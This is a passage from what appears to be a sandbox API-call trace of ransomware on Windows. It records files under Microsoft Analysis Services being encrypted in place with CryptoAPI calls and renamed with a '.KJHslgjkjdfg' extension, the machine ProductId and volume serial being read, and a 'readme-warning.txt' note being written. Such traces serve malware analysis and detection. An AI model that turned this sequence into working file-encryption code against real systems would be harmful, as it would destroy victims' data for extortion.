ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0191.354] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0191.354] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0191.354] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0191.354] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0191.354] GetProcessHeap () returned 0x2ef0000 [0191.354] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x96) returned 0x2f455c0 [0191.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.354] GetProcessHeap () returned 0x2ef0000 [0191.354] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f455c0 | out: hHeap=0x2ef0000) returned 1 [0191.354] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0191.354] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0191.354] GetProcessHeap () returned 0x2ef0000 [0191.354] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x298) returned 0x2f47728 [0191.355] GetProcessHeap () returned 0x2ef0000 [0191.355] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa0) returned 0x2f455c0 [0191.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0191.356] GetProcessHeap () returned 0x2ef0000 [0191.356] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f455c0 | out: hHeap=0x2ef0000) returned 1 [0191.356] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0191.356] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0191.356] GetProcessHeap () returned 0x2ef0000 [0191.356] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a2) returned 0x2f479c8 [0191.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0191.356] GetProcessHeap () returned 0x2ef0000 [0191.356] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.356] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.356] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0191.357] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0191.359] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0191.359] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.359] GetProcessHeap () returned 0x2ef0000 [0191.359] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.359] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0191.359] CryptDestroyKey (hKey=0x2f18348) returned 1 [0191.359] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0191.359] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0191.360] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0191.360] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0191.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0191.360] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0191.360] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0191.360] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.360] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa2b58, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0xa2b58, lpOverlapped=0x0) returned 1 [0191.373] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xa2b60, dwBufLen=0xa2b60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xa2b60) returned 1 [0191.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.380] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0xa2b60, lpOverlapped=0x0) returned 1 [0191.382] CryptDestroyKey (hKey=0x2f18348) returned 1 [0191.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa2c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.382] SetEndOfFile (hFile=0xf0) returned 1 [0191.386] GetProcessHeap () returned 0x2ef0000 [0191.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.386] GetProcessHeap () returned 0x2ef0000 [0191.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.kjhslgjkjdfg")) returned 1 [0191.387] CloseHandle (hObject=0xf0) returned 1 [0191.396] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0191.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0191.396] GetProcessHeap () returned 0x2ef0000 [0191.396] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.396] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.397] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0191.397] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0191.399] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0191.399] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.399] GetProcessHeap () returned 0x2ef0000 [0191.399] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.399] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0191.399] CryptDestroyKey (hKey=0x2f18348) returned 1 [0191.399] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0191.399] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0191.399] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0191.400] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0191.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0191.400] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0191.400] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0191.400] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.400] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3a18, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x3a18, lpOverlapped=0x0) returned 1 [0191.401] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x3a20) returned 1 [0191.402] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.402] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x3a20, lpOverlapped=0x0) returned 1 [0191.402] CryptDestroyKey (hKey=0x2f18348) returned 1 [0191.402] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.402] SetEndOfFile (hFile=0xf0) returned 1 [0191.404] GetProcessHeap () returned 0x2ef0000 [0191.404] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.404] GetProcessHeap () returned 0x2ef0000 [0191.404] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.kjhslgjkjdfg")) returned 1 [0191.408] CloseHandle (hObject=0xf0) returned 1 [0191.408] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0191.408] GetProcessHeap () returned 0x2ef0000 [0191.409] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.409] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0191.409] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0191.409] CryptDestroyKey (hKey=0x2f18348) returned 1 [0191.409] GetProcessHeap () returned 0x2ef0000 [0191.409] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0191.409] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0191.409] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0191.409] CryptDestroyKey (hKey=0x2f18348) returned 1 [0191.409] GetProcessHeap () returned 0x2ef0000 [0191.409] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f16998 [0191.409] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0191.409] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f16998, pdwDataLen=0x4dfeb98 | out: pbData=0x2f16998, pdwDataLen=0x4dfeb98) returned 1 [0191.409] CryptDestroyKey (hKey=0x2f18348) returned 1 [0191.409] GetProcessHeap () returned 0x2ef0000 [0191.409] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0191.409] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0191.409] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0191.409] CryptDestroyKey (hKey=0x2f18348) returned 1 [0191.409] GetProcessHeap () returned 0x2ef0000 [0191.410] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11700 [0191.410] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0191.410] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11700, pdwDataLen=0x4dfe778 | out: pbData=0x2f11700, pdwDataLen=0x4dfe778) returned 1 [0191.410] CryptDestroyKey (hKey=0x2f18348) returned 1 [0191.410] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0xf0) returned 0x0 [0191.410] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0191.410] RegCloseKey (hKey=0xf0) returned 0x0 [0191.410] GetProcessHeap () returned 0x2ef0000 [0191.410] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0191.410] GetProcessHeap () returned 0x2ef0000 [0191.410] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11700 | out: hHeap=0x2ef0000) returned 1 [0191.410] GetProcessHeap () returned 0x2ef0000 [0191.410] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11700 [0191.410] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0191.410] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11700, pdwDataLen=0x4dfe54c | out: pbData=0x2f11700, pdwDataLen=0x4dfe54c) returned 1 [0191.410] CryptDestroyKey (hKey=0x2f18348) returned 1 [0191.410] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0191.410] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0191.411] GetProcessHeap () returned 0x2ef0000 [0191.411] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11700 | out: hHeap=0x2ef0000) returned 1 [0191.411] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0191.411] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0191.411] GetProcessHeap () returned 0x2ef0000 [0191.411] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f16d60 [0191.411] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\readme-warning.txt") returned 90 [0191.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\readme-warning.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0191.414] WriteFile (in: hFile=0xf0, lpBuffer=0x2f16d60*, nNumberOfBytesToWrite=0x3b3, 